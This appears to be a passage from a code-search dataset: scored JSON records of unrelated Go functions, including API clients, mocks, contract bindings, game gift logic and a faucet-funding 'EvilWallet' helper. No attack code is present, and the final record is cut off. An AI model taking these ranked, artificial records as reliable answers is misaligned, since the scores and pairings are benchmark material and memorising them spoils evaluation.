"text": "func (e *EvilWallet) RequestFreshFaucetWallet() (err error) {\n\tinitWallet := NewWallet()\n\twallet, err := e.requestAndSplitFaucetFunds(initWallet, FaucetRequestSplitNumber)\n\tif err != nil {\n\t\treturn\n\t}\n\te.wallets.SetWalletReady(wallet)\n\treturn\n}", "title": "" }, { "docid": "0d4c183b05d17411793b79c1eeecd886", "score": "0.3948611", "text": "func (a ItemAttributes) Get(fieldName string) (value interface{}, found bool) {\n\tif a.AdditionalProperties != nil {\n\t\tvalue, found = a.AdditionalProperties[fieldName]\n\t}\n\treturn\n}", "title": "" }, { "docid": "87d6ed477acef63df9462ff3e0ed4e89", "score": "0.39465135", "text": "func (client DictionaryClient) GetArrayNull() (result SetListString, err error) {\n req, err := client.GetArrayNullPreparer()\n if err != nil {\n return result, autorest.NewErrorWithError(err, \"dictionarygroup.DictionaryClient\", \"GetArrayNull\", nil , \"Failure preparing request\")\n }\n\n resp, err := client.GetArrayNullSender(req)\n if err != nil {\n result.Response = autorest.Response{Response: resp}\n return result, autorest.NewErrorWithError(err, \"dictionarygroup.DictionaryClient\", \"GetArrayNull\", resp, \"Failure sending request\")\n }\n\n result, err = client.GetArrayNullResponder(resp)\n if err != nil {\n err = autorest.NewErrorWithError(err, \"dictionarygroup.DictionaryClient\", \"GetArrayNull\", resp, \"Failure responding to request\")\n }\n\n return\n}", "title": "" }, { "docid": "8a170519f58f8177913bb2728be36973", "score": "0.39444673", "text": "func UsersSelfFavouriteModeGET(md common.MethodData) common.CodeMessager {\n\tvar f favouriteModeResponse\n\tf.Code = 200\n\tif md.ID() == 0 {\n\t\treturn f\n\t}\n\terr := md.DB.QueryRow(\"SELECT users_stats.favourite_mode FROM users_stats WHERE id = ?\", md.ID()).\n\t\tScan(&f.FavouriteMode)\n\tif err != nil {\n\t\tmd.Err(err)\n\t\treturn Err500\n\t}\n\treturn f\n}", "title": "" }, { "docid": "7649da81f95fd70c91617db9a27035fb", "score": "0.39394924", "text": "func (f *ArrayStringFlags) Get() interface{} {\n\treturn \"\"\n}", "title": "" }, { "docid": "47ca79763780df14c6cb7ec148ff8d22", "score": "0.39269233", "text": "func (e *EvilWallet) RequestFreshBigFaucetWallet() (err error) {\n\tinitWallet := NewWallet()\n\tfmt.Println(\"Requesting funds from faucet...\")\n\tfunds, err := e.requestAndSplitFaucetFunds(initWallet, FaucetRequestSplitNumber*FaucetRequestSplitNumber)\n\tif err != nil {\n\t\treturn\n\t}\n\te.wallets.SetWalletReady(funds)\n\treturn\n}", "title": "" }, { "docid": "144b4ec3e2991cfc8390c309e4bc9f28", "score": "0.39202043", "text": "func (m NoMDEntries) GetOptAttribute() (f field.OptAttributeField, err quickfix.MessageRejectError) {\n\terr = m.Get(&f)\n\treturn\n}", "title": "" }, { "docid": "1c0812a7b28c1a2efc49099dc7fb732d", "score": "0.3912995", "text": "func (client DictionaryClient) GetArrayItemNullResponder(resp *http.Response) (result SetListString, err error) { \n err = autorest.Respond(\n resp,\n client.ByInspecting(),\n azure.WithErrorUnlessStatusCode(http.StatusOK),\n autorest.ByUnmarshallingJSON(&result.Value),\n autorest.ByClosing())\n result.Response = autorest.Response{Response: resp}\n return\n}", "title": "" }, { "docid": "9aa825b1694d33fb0f82256795b9e1a3", "score": "0.3911405", "text": "func (d *Data) SetFruit() error {\n\tvar err error\n\td.fruit, err = d.grid.getFreePosition(d.body)\n\treturn err\n}", "title": "" }, { "docid": "0b018cca044d1bf77453e4711c5877b4", "score": "0.39099458", "text": "func (api *API) GetRequiredFee(ops []types.Operation, assetID string) ([]types.AssetAmount, error) {\n\tvar resp []types.AssetAmount\n\n\topsJSON := []interface{}{}\n\tfor _, o := range ops {\n\t\t_, err := json.Marshal(o)\n\t\tif err != nil {\n\t\t\treturn []types.AssetAmount{}, err\n\t\t}\n\n\t\topArr := []interface{}{o.Type(), o}\n\n\t\topsJSON = append(opsJSON, opArr)\n\t}\n\tif err := api.call(\"get_required_fees\", []interface{}{opsJSON, assetID}, &resp); err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}", "title": "" }, { "docid": "49e060b19415af20cc14d8e92ca08729", "score": "0.38992906", "text": "func getReqAppInfo(request *huaweiAdsRequest, openRTBRequest *openrtb2.BidRequest, extraInfo ExtraInfo) (countryCode string, err error) {\n\tvar app app\n\tif openRTBRequest.App != nil {\n\t\tif openRTBRequest.App.Ver != \"\" {\n\t\t\tapp.Version = openRTBRequest.App.Ver\n\t\t}\n\t\tif openRTBRequest.App.Name != \"\" {\n\t\t\tapp.Name = openRTBRequest.App.Name\n\t\t}\n\n\t\t// bundle cannot be empty, we need package name.\n\t\tif openRTBRequest.App.Bundle != \"\" {\n\t\t\tapp.Pkgname = getFinalPkgName(openRTBRequest.App.Bundle, extraInfo)\n\t\t} else {\n\t\t\treturn \"\", errors.New(\"generate HuaweiAds AppInfo failed: openrtb BidRequest.App.Bundle is empty.\")\n\t\t}\n\n\t\tif openRTBRequest.App.Content != nil && openRTBRequest.App.Content.Language != \"\" {\n\t\t\tapp.Lang = openRTBRequest.App.Content.Language\n\t\t} else {\n\t\t\tapp.Lang = \"en\"\n\t\t}\n\t}\n\tcountryCode = getCountryCode(openRTBRequest)\n\tapp.Country = countryCode\n\trequest.App = app\n\treturn countryCode, nil\n}", "title": "" }, { "docid": "f52e95b910f67b6abbd5db758c42a14f", "score": "0.38874477", "text": "func Fruit_Values() []Fruit {\n\treturn []Fruit{\n\t\tFruitApple,\n\t\tFruitBanana,\n\t}\n}", "title": "" }, { "docid": "f52e95b910f67b6abbd5db758c42a14f", "score": "0.38874477", "text": "func Fruit_Values() []Fruit {\n\treturn []Fruit{\n\t\tFruitApple,\n\t\tFruitBanana,\n\t}\n}", "title": "" }, { "docid": "e04a60dd9d7f2a11680e18474766dcec", "score": "0.38763162", "text": "func (_m *MockUnspentPooler) GetArray(_a0 *dbutil.Tx, _a1 []cipher.SHA256) (coin.UxArray, error) {\n\tret := _m.Called(_a0, _a1)\n\n\tvar r0 coin.UxArray\n\tif rf, ok := ret.Get(0).(func(*dbutil.Tx, []cipher.SHA256) coin.UxArray); ok {\n\t\tr0 = rf(_a0, _a1)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(coin.UxArray)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(*dbutil.Tx, []cipher.SHA256) error); ok {\n\t\tr1 = rf(_a0, _a1)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "a02b13091d04be418800bd9e0fd4056c", "score": "0.3875463", "text": "func (m NoMiscFeesRepeatingGroup) Get(i int) NoMiscFees {\n\treturn NoMiscFees{m.RepeatingGroup.Get(i)}\n}", "title": "" }, { "docid": "a02b13091d04be418800bd9e0fd4056c", "score": "0.3875463", "text": "func (m NoMiscFeesRepeatingGroup) Get(i int) NoMiscFees {\n\treturn NoMiscFees{m.RepeatingGroup.Get(i)}\n}", "title": "" }, { "docid": "5f5090570db07f628b036d96e680e5e2", "score": "0.3873604", "text": "func GetUnapprovedReviews() map[int][]int {\n\tresult := make(map[int][]int)\n\trows, err := app.DB.Query(`SELECT id, item_id FROM reviews WHERE approved=FALSE`)\n\tcheck(err)\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar (\n\t\t\titemID int\n\t\t\tID int\n\t\t)\n\t\terr = rows.Scan(&ID, &itemID)\n\t\tcheck(err)\n\t\tif result[itemID] == nil {\n\t\t\tresult[itemID] = make([]int, 0, 1)\n\t\t}\n\t\tresult[itemID] = append(result[itemID], ID)\n\t}\n\tcheck(rows.Err())\n\treturn result\n}", "title": "" }, { "docid": "0c8a8412ad92454acd967b88979abde8", "score": "0.38647172", "text": "func GetForecast(addr string) []Forecast {\n\tvar af []Forecast\n\tresp, err := dialer.NetReq(addr, 10, false)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer resp.Body.Close()\n\tjson.NewDecoder(resp.Body).Decode(&af)\n\treturn af\n}", "title": "" }, { "docid": "1688f111459b59905befb76696a67c70", "score": "0.38621706", "text": "func getReqRegsInfo(request *huaweiAdsRequest, openRTBRequest *openrtb2.BidRequest) {\n\tif openRTBRequest.Regs != nil && openRTBRequest.Regs.COPPA >= 0 {\n\t\tvar regs regs\n\t\tregs.Coppa = int32(openRTBRequest.Regs.COPPA)\n\t\trequest.Regs = regs\n\t}\n}", "title": "" }, { "docid": "40efb85ec4ceef6280b62ae2dbd0d0d0", "score": "0.385927", "text": "func (m *AppListItemCollectionResponse) GetValue()([]AppListItemable) {\n return m.value\n}", "title": "" }, { "docid": "e94106b5062b6c86142cdb74f14df363", "score": "0.38435113", "text": "func (o *GuessNutritionByDishName200Response) GetRecipesUsedOk() (*int32, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn &o.RecipesUsed, true\n}", "title": "" }, { "docid": "d2b5e146e8b72afbf9846c6d6d271d38", "score": "0.38427243", "text": "func (c *clientCredentialsRequest) GetAudience() []string {\n\treturn c.audience\n}", "title": "" }, { "docid": "8d645fce36083fdf3a454d53b36b43e5", "score": "0.38362247", "text": "func (pb *EnvoyProtoBag) Get(name string) (interface{}, bool) {\n\tif val, ok := pb.reqMap[name]; ok {\n\t\tpb.Reference(name, attr.Exact)\n\t\treturn val, ok\n\t}\n\tpb.Reference(name, attr.Absence)\n\treturn nil, false\n}", "title": "" }, { "docid": "3fd677d4d9c973133e67be0fd3a93964", "score": "0.38358685", "text": "func (_TellorMaster *TellorMasterCaller) GetRequestQ(opts *bind.CallOpts) ([51]*big.Int, error) {\n\tvar (\n\t\tret0 = new([51]*big.Int)\n\t)\n\tout := ret0\n\terr := _TellorMaster.contract.Call(opts, out, \"getRequestQ\")\n\treturn *ret0, err\n}", "title": "" }, { "docid": "08f858cf26d430daf5b3300be5d0eb00", "score": "0.38238117", "text": "func (o *GenerateMfaTokenResponse) GetReusable() bool {\n\tif o == nil || o.Reusable == nil {\n\t\tvar ret bool\n\t\treturn ret\n\t}\n\treturn *o.Reusable\n}", "title": "" }, { "docid": "2e80e41932ae3dd15da21d657803877a", "score": "0.38204035", "text": "func (client ArrayClient) GetDictionaryItemNullSender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "5e27293b98ee5801df41b466c14487c4", "score": "0.3816871", "text": "func (r *reviewService) GetReviewsOfOffer(ctx context.Context, offerID int64, userID int64) ([]*bookly.Review, error) {\n\treviews, err := r.reviewStorage.GetReviewsOfOffer(ctx, offerID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, review := range reviews {\n\t\tuser, err := r.userStorage.GetUser(ctx, review.UserID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treview.ReviewerUsername = user.UserName\n\t}\n\treturn reviews, nil\n}", "title": "" }, { "docid": "2d122bb6041ed34520dcfebda2760a60", "score": "0.38042283", "text": "func (client DictionaryClient) GetArrayNullSender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "28c0e125a473bd2d3f98956d0a88bf60", "score": "0.37975836", "text": "func GetOne(attribute interface{}, value interface{}) (interface{}, error) {\n\tdata := phoneMod.GetOne(attribute, value)\n\tif len(data) < 1 {\n\t\treturn nil, errors.New(general.CustomResponseCode[\"033\"])\n\t}\n\treturn data, nil\n}", "title": "" }, { "docid": "11e315181f6ae7521ca059a4fa87cdae", "score": "0.37974906", "text": "func (a *AppProposeResponse) GetMaxFreeStarterApps() string {\n\tif a == nil {\n\t\treturn \"\"\n\t}\n\treturn a.MaxFreeStarterApps\n}", "title": "" }, { "docid": "db2ef59af0b7340f0e6cc9714eda23fd", "score": "0.37914726", "text": "func (mr *MockHandlerMockRecorder) GetUserFavorites(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetUserFavorites\", reflect.TypeOf((*MockHandler)(nil).GetUserFavorites), arg0, arg1)\n}", "title": "" }, { "docid": "4fea09cc55f0f47819aa47a236bceb7d", "score": "0.37903807", "text": "func (j *JWTTokenRequest) GetAudience() []string {\n\treturn j.Audience\n}", "title": "" }, { "docid": "16fe834ce0e9a928b7224eeaf242da94", "score": "0.3787666", "text": "func (wx *FruitAPI) GetList(req *restful.Request, rsp *restful.Response) {\n\tlog.Print(\"Received FruitAPI.GetList API request\")\n\n\tvar status int64 = -1\n\tvar msg interface{}\n\n\tip := req.Request.Header.Get(\"X-Real-IP\")\n\tfmt.Println(ip)\n\t// mongo\n\tsession, err := mgo.Dial(\"mongodb://mongo.techzto.svc.cluster.local\")\n\tif err != nil {\n\t\tmsg = err.Error()\n\t}\n\tdefer session.Close()\n\tsession.SetMode(mgo.Monotonic, true)\n\tc := session.DB(\"ngbook\").C(\"fruit\")\n\tresult := []proto.Fruit{}\n\terr = c.Find(nil).All(&result)\n\tif err != nil {\n\t\tmsg = err.Error()\n\t} else {\n\t\tstatus = 200\n\t\tmsg = result\n\t}\n\tnet.InitRsp(status, rsp, msg)\n}", "title": "" }, { "docid": "790d80f44c1ca9295b98b0d8eed5493e", "score": "0.3787563", "text": "func (v *Bar_ArgWithQueryParams_Args) GetFoo() (o []string) {\n\tif v != nil && v.Foo != nil {\n\t\treturn v.Foo\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "8e6c05de8a70d590b2d72fc680cb9d01", "score": "0.37860164", "text": "func (_m *Client) GetRefFavorites(_a0 context.Context, _a1 git.GetRefFavoritesArgs) (*[]git.GitRefFavorite, error) {\n\tret := _m.Called(_a0, _a1)\n\n\tvar r0 *[]git.GitRefFavorite\n\tif rf, ok := ret.Get(0).(func(context.Context, git.GetRefFavoritesArgs) *[]git.GitRefFavorite); ok {\n\t\tr0 = rf(_a0, _a1)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*[]git.GitRefFavorite)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, git.GetRefFavoritesArgs) error); ok {\n\t\tr1 = rf(_a0, _a1)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "e87479de9777e22a5691cae69e4781f9", "score": "0.37809727", "text": "func GetBasketRequests(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n\tif _, basket := getAuthorizedBasket(w, r, ps, serverConfig); basket != nil {\n\t\tvalues := r.URL.Query()\n\t\tif query := values.Get(\"q\"); len(query) > 0 {\n\t\t\t// find requests\n\t\t\tmax, skip := getPage(values)\n\t\t\tjson, err := json.Marshal(basket.FindRequests(query, values.Get(\"in\"), max, skip))\n\t\t\twriteJSON(w, http.StatusOK, json, err)\n\t\t} else {\n\t\t\t// get requests page\n\t\t\tjson, err := json.Marshal(basket.GetRequests(getPage(values)))\n\t\t\twriteJSON(w, http.StatusOK, json, err)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2a3c4d6851d22a75006686f49ca337a1", "score": "0.37778735", "text": "func (t *TestCallVectorIntRequest) GetX() (value []int32) {\n\tif t == nil {\n\t\treturn\n\t}\n\treturn t.X\n}", "title": "" }, { "docid": "d4a0c89f4c3a91e912d21d2df215e8f6", "score": "0.37752676", "text": "func (client DictionaryClient) GetArrayItemEmptyResponder(resp *http.Response) (result SetListString, err error) { \n err = autorest.Respond(\n resp,\n client.ByInspecting(),\n azure.WithErrorUnlessStatusCode(http.StatusOK),\n autorest.ByUnmarshallingJSON(&result.Value),\n autorest.ByClosing())\n result.Response = autorest.Response{Response: resp}\n return\n}", "title": "" }, { "docid": "6047665b663df756bae406c6019d5450", "score": "0.37747407", "text": "func (v *QueryParamsStruct) GetFoo() (o []string) {\n\tif v != nil {\n\t\to = v.Foo\n\t}\n\treturn\n}", "title": "" }, { "docid": "b3b5b51da256dee8f8865dd34e2fed13", "score": "0.37745783", "text": "func (ts *TimeSeries) getFilledData() map[string]TimeSeriesData {\n\tif len(ts.TimeSeriesDaily) > 0 {\n\t\treturn ts.TimeSeriesDaily\n\t} else if len(ts.TimeSeriesWeekly) > 0 {\n\t\treturn ts.TimeSeriesWeekly\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a940651c540285b54ce176a12dea2cb2", "score": "0.3772169", "text": "func GetAttempts(r *http.Request) int {\n\tif attempts, ok := r.Context().Value(Attempts).(int); ok {\n\t\treturn attempts\n\t}\n\n\treturn 1\n}", "title": "" }, { "docid": "d0c5f2f552013b58186a468ca72a763a", "score": "0.37694082", "text": "func (client DictionaryClient) GetArrayEmptySender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "f80885a99239a18885e7a435f76e94f3", "score": "0.37658393", "text": "func (mock *AppServiceMock) GetAppsCalls() []struct {\n} {\n\tvar calls []struct {\n\t}\n\tlockAppServiceMockGetApps.RLock()\n\tcalls = mock.calls.GetApps\n\tlockAppServiceMockGetApps.RUnlock()\n\treturn calls\n}", "title": "" }, { "docid": "7d53f69165fd3bbee50bc74aa9093117", "score": "0.37655732", "text": "func (o *Bill) GetRepeatFreqOk() (*string, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn &o.RepeatFreq, true\n}", "title": "" }, { "docid": "754e8ce6eb8807284cca87a72c4fae6d", "score": "0.3761425", "text": "func (_FavorNetwork *FavorNetworkCaller) GetRequest(opts *bind.CallOpts, id *big.Int) (struct {\n\tFrom common.Address\n\tFavor string\n\tBound bool\n\tReward *big.Int\n}, error) {\n\tret := new(struct {\n\t\tFrom common.Address\n\t\tFavor string\n\t\tBound bool\n\t\tReward *big.Int\n\t})\n\tout := ret\n\terr := _FavorNetwork.contract.Call(opts, out, \"getRequest\", id)\n\treturn *ret, err\n}", "title": "" }, { "docid": "f32dfa9bdc972962b951c965807161f2", "score": "0.3760204", "text": "func (c *client) GetGiftOffers(receivedRequests shared.GiftRequestDict) shared.GiftOfferDict {\n\toffers := shared.GiftOfferDict{}\n\tturn := c.gameState().Turn\n\n\t// if we are critical do not offer gifts-> there should be a way to see which other islands are critical\n\t// if we are not critical and another island is critical offer gift\n\t// do not offer more than proportion of total resources we have\n\tourAgentCritical := shared.Critical == shared.ClientLifeStatus(1)\n\n\t// prioritize giving gifts to islands we trust (for now confidence)\n\n\t// Give no more than half of amount before we reach threshold\n\tmaxToGive := (c.gameState().ClientInfo.Resources - c.internalThreshold()) / 2\n\n\tvar trustRank IslandTrustList\n\tif !ourAgentCritical || maxToGive <= 0 {\n\t\tfor team := range receivedRequests {\n\t\t\t// max would be 200\n\t\t\t// c.confidence(\"ReceivedRequests\", team) should reflect the status of an island and int,float64 requests hist\n\t\t\t// c.confidence(\"GiftWeRequest\", team) should reflect how they respond to our requests\n\t\t\tconfidenceMetric := c.confidence(\"Gifts\", team)\n\t\t\totherTeamCritical := c.gameState().ClientLifeStatuses[team] == shared.Critical\n\t\t\tif confidenceMetric > 50 || otherTeamCritical {\n\t\t\t\tislandConf := IslandTrust{\n\t\t\t\t\tisland: team,\n\t\t\t\t\ttrust: confidenceMetric,\n\t\t\t\t}\n\t\t\t\ttrustRank = append(trustRank, islandConf)\n\t\t\t}\n\t\t}\n\n\t\tsort.Sort(trustRank)\n\n\t\t// TODO: need to factor in the size of a request in decisions - above we were just sorting them by confidence\n\t\tfor i := 0; i < len(trustRank); i++ {\n\t\t\tofferedTo := trustRank[i].island\n\t\t\tofferedAmount := receivedRequests[offeredTo]\n\n\t\t\tif offeredAmount >= shared.GiftRequest(maxToGive) {\n\t\t\t\tofferedAmount = shared.GiftRequest(maxToGive)\n\t\t\t\tmaxToGive = 0\n\t\t\t}\n\n\t\t\toffers[offeredTo] = shared.GiftOffer(offeredAmount)\n\n\t\t\t// to keep track in our history\n\t\t\tnewGiftRequest := GiftInfo{\n\t\t\t\trequested: receivedRequests[offeredTo],\n\t\t\t\tgifted: shared.GiftOffer(offeredAmount),\n\t\t\t}\n\t\t\tc.giftHist[offeredTo].IslandRequest[turn] = newGiftRequest\n\n\t\t\tmaxToGive -= shared.Resources(offeredAmount)\n\n\t\t\tif maxToGive <= 0 {\n\t\t\t\treturn offers\n\t\t\t}\n\t\t}\n\t}\n\n\treturn offers\n}", "title": "" }, { "docid": "6bce2618a965bfcda2792db3097b0964", "score": "0.37536108", "text": "func GetAstronauts(getWebRequest GetWebRequest) int {\n\turl := \"http://api.open-notify.org/astros.json\"\n\n\tbodyBytes := getWebRequest.FetchBytes(url)\n\tpeopleResult := People{}\n\tjsonErr := json.Unmarshal(bodyBytes, &peopleResult)\n\tif jsonErr != nil {\n\t\tlog.Fatal(jsonErr)\n\t}\n\n\treturn peopleResult.Number\n}", "title": "" }, { "docid": "039c7c6b44dcdfdf988a32cad7ccff22", "score": "0.3752451", "text": "func (f *MessagesFaveStickerRequest) GetUnfave() (value bool) {\n\tif f == nil {\n\t\treturn\n\t}\n\treturn f.Unfave\n}", "title": "" }, { "docid": "b627ce5dbf5f8e5a7c15b85d4761c4cc", "score": "0.37514478", "text": "func (r *reviewService) GetReviewsOfHotel(ctx context.Context, hotelID int64, userID int64) ([]*bookly.Review, error) {\n\toffers, err := r.offerStorage.GetAllOffers(ctx, hotelID, nil)\n\tif nil != err {\n\t\treturn nil, err\n\t}\n\treviews := []*bookly.Review{}\n\tfor _, offer := range offers {\n\t\tofferReviews, err := r.GetReviewsOfOffer(ctx, offer.ID, userID)\n\t\tif nil != err {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, review := range offerReviews {\n\t\t\treviews = append(reviews, review)\n\t\t}\n\t}\n\treturn reviews, nil\n}", "title": "" }, { "docid": "3393b0ec0d5d4ea24acb7a75866d7ab4", "score": "0.3750901", "text": "func (_m *RequesterArgSameAsNamedImport) Get(_a0 string) *json.RawMessage {\n\tret := _m.Called(_a0)\n\n\tvar r0 *json.RawMessage\n\tif rf, ok := ret.Get(0).(func(string) *json.RawMessage); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*json.RawMessage)\n\t\t}\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "0388572a5358f5f21b64c88fa55c1160", "score": "0.37496224", "text": "func (f *Filtration) MustGet(key string) any {\n\tval, _ := f.Get(key)\n\treturn val\n}", "title": "" }, { "docid": "c53745d6b69b3a6d58e77403e22385b6", "score": "0.37487277", "text": "func (client ArrayClient) GetDictionaryItemEmptySender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "643c9b4c32177a8442b9bf407c324546", "score": "0.37479514", "text": "func (c *BaseClient) GetGiftOffers(receivedRequests shared.GiftRequestDict) shared.GiftOfferDict {\n\toffers := shared.GiftOfferDict{}\n\n\t// You can fetch the clients which are alive like this:\n\tfor team, status := range c.ServerReadHandle.GetGameState().ClientLifeStatuses {\n\t\tif status == shared.Critical {\n\t\t\toffers[team] = shared.GiftOffer(100.0)\n\t\t} else {\n\t\t\toffers[team] = shared.GiftOffer(0.0)\n\t\t}\n\t}\n\treturn offers\n}", "title": "" }, { "docid": "c444da6fb278c34273a3282bf69861e1", "score": "0.3747314", "text": "func (o *GuessNutritionByDishName200Response) GetFatOk() (*GuessNutritionByDishName200ResponseCalories, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn &o.Fat, true\n}", "title": "" }, { "docid": "41aa7a9ac271ac7540be97abfe329177", "score": "0.37436673", "text": "func (j *DSStub) AffsItems(ctx *Ctx, rawItem map[string]interface{}, roles []string, date interface{}) (affsItems map[string]interface{}, err error) {\n\t// IMPL:\n\treturn\n}", "title": "" }, { "docid": "7751248ed1e1aef0a58528532d53151b", "score": "0.37417817", "text": "func (_Expertise *ExpertiseCaller) GetOffices(opts *bind.CallOpts) ([][32]byte, error) {\n\tvar (\n\t\tret0 = new([][32]byte)\n\t)\n\tout := ret0\n\terr := _Expertise.contract.Call(opts, out, \"getOffices\")\n\treturn *ret0, err\n}", "title": "" }, { "docid": "e6f8cd8b6505695cc6a8eb15f08bc8f8", "score": "0.37408656", "text": "func (_FavorNetwork *FavorNetworkCaller) GetRequestCount(opts *bind.CallOpts, user common.Address) (*big.Int, error) {\n\tvar (\n\t\tret0 = new(*big.Int)\n\t)\n\tout := ret0\n\terr := _FavorNetwork.contract.Call(opts, out, \"getRequestCount\", user)\n\treturn *ret0, err\n}", "title": "" }, { "docid": "9ef4e4a2b13836ecadbbc4e84599f0c7", "score": "0.37381023", "text": "func (t *MessagesToggleStickerSetsRequest) GetUninstall() (value bool) {\n\tif t == nil {\n\t\treturn\n\t}\n\treturn t.Flags.Has(0)\n}", "title": "" }, { "docid": "7344d4cf18758a8f81bede5e5dcb1f26", "score": "0.37354612", "text": "func (client ArrayClient) GetArrayNullSender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "9b5bfcfedccdd3bc08158cf46ca654a6", "score": "0.37314925", "text": "func GetNonzeroRequests(requests *api.ResourceList) (int64, int64) {\n\tvar outMilliCPU, outMemory int64\n\t// Override if un-set, but not if explicitly set to zero\n\tif _, found := (*requests)[api.ResourceCPU]; !found {\n\t\toutMilliCPU = DefaultMilliCpuRequest\n\t} else {\n\t\toutMilliCPU = requests.Cpu().MilliValue()\n\t}\n\t// Override if un-set, but not if explicitly set to zero\n\tif _, found := (*requests)[api.ResourceMemory]; !found {\n\t\toutMemory = DefaultMemoryRequest\n\t} else {\n\t\toutMemory = requests.Memory().Value()\n\t}\n\treturn outMilliCPU, outMemory\n}", "title": "" }, { "docid": "9b8f9622f78f0f10aaa2575769bf9698", "score": "0.37306285", "text": "func (store *RedisStore) GetAudience(audienceID string) (audience *Audience, err error) {\n\n\tif len(audienceID) == 0 {\n\t\treturn nil, errors.New(\"audienceID is emtpty.\")\n\t}\n\n\treturn\n\n}", "title": "" }, { "docid": "428ef25d5deb7098ae3d1ee46b141958", "score": "0.37180135", "text": "func getAccepted() ([]tenancyRequest, error) {\n\treturn getByStatus(\"ACCEPTED\")\n}", "title": "" }, { "docid": "81235604d96da68f0a251ee64f7b5096", "score": "0.3709403", "text": "func TestGetAppsEmpty(t *testing.T) {\n\tassert := assert.New(t)\n\tapps := GetApps()\n\tassert.Equal(len(apps[\"local\"]), 0)\n}", "title": "" }, { "docid": "9dd28722af92a143bf63f757264f4528", "score": "0.37060136", "text": "func (client ArrayClient) GetArrayEmptySender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "5e718bcb9c297a149c17676e45e780b8", "score": "0.37028602", "text": "func (v *Bar_TooManyArgs_Args) GetFoo() (o *foo.FooStruct) {\n\tif v != nil && v.Foo != nil {\n\t\treturn v.Foo\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "d47848ae106044c91524f0fb11388746", "score": "0.36995962", "text": "func (client ArrayClient) GetArrayItemNullResponder(resp *http.Response) (result ListListString, err error) { \n err = autorest.Respond(\n resp,\n client.ByInspecting(),\n azure.WithErrorUnlessStatusCode(http.StatusOK),\n autorest.ByUnmarshallingJSON(&result.Value),\n autorest.ByClosing())\n result.Response = autorest.Response{Response: resp}\n return\n}", "title": "" }, { "docid": "4e99b7357d454b9e22f2297b0e8a813b", "score": "0.36960876", "text": "func (_TestAlastriaCounter *TestAlastriaCounterCaller) Get(opts *bind.CallOpts) (*big.Int, error) {\n\tvar (\n\t\tret0 = new(*big.Int)\n\t)\n\tout := ret0\n\terr := _TestAlastriaCounter.contract.Call(opts, out, \"get\")\n\treturn *ret0, err\n}", "title": "" }, { "docid": "bd7d06f31aeb8b5783472c31e9a19300", "score": "0.36947215", "text": "func temporaryGetAcctsRcv(ctx context.Context, bid int64) (int64, error) {\n\tvar (\n\t\tb rlib.GLAccount\n\t\terr error\n\t)\n\n\tq := \"SELECT \" + rlib.RRdb.DBFields[\"GLAccount\"] + \" FROM GLAccount WHERE Name LIKE \\\"%receivable%\\\"\"\n\trow := rlib.RRdb.Dbrr.QueryRow(q)\n\terr = rlib.ReadGLAccount(row, &b)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tif b.LID == 0 {\n\t\tb, err = rlib.GetLedgerByGLNo(ctx, bid, \"12000\")\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tif b.LID == 0 {\n\t\t\t// TODO(Steve): Don't know WHY such a code exists...\n\t\t\t/*fmt.Printf(\"Could not find Accounts Receivable\\n\")\n\t\t\tdebug.PrintStack()\n\t\t\tos.Exit(1) // yes this is terrible.*/\n\t\t\treturn 0, err\n\t\t}\n\t}\n\treturn b.LID, err\n}", "title": "" }, { "docid": "c9f56c342c1af9527b2e3fe401c3b8c5", "score": "0.3693541", "text": "func GetResponseHasEntries(t testing.TB, getres *spb.GetResponse, wants ...fluent.GRIBIEntry) {\n\t// proto.Equal tends to be expensive, so start with building a cache\n\t// so that we do not loop each time. We have to do this by network\n\t// instance, because each NI has its own namespace for each included\n\t// value.\n\n\ttype cache struct {\n\t\tipv4 map[string]*spb.AFTEntry\n\t\tnhg map[uint64]*spb.AFTEntry\n\t\tnh map[uint64]*spb.AFTEntry\n\t}\n\n\tnetinsts := map[string]*cache{}\n\n\tfor _, r := range getres.GetEntry() {\n\t\tif _, ok := netinsts[r.NetworkInstance]; !ok {\n\t\t\tnetinsts[r.NetworkInstance] = &cache{\n\t\t\t\tipv4: make(map[string]*spb.AFTEntry),\n\t\t\t\tnhg: make(map[uint64]*spb.AFTEntry),\n\t\t\t\tnh: 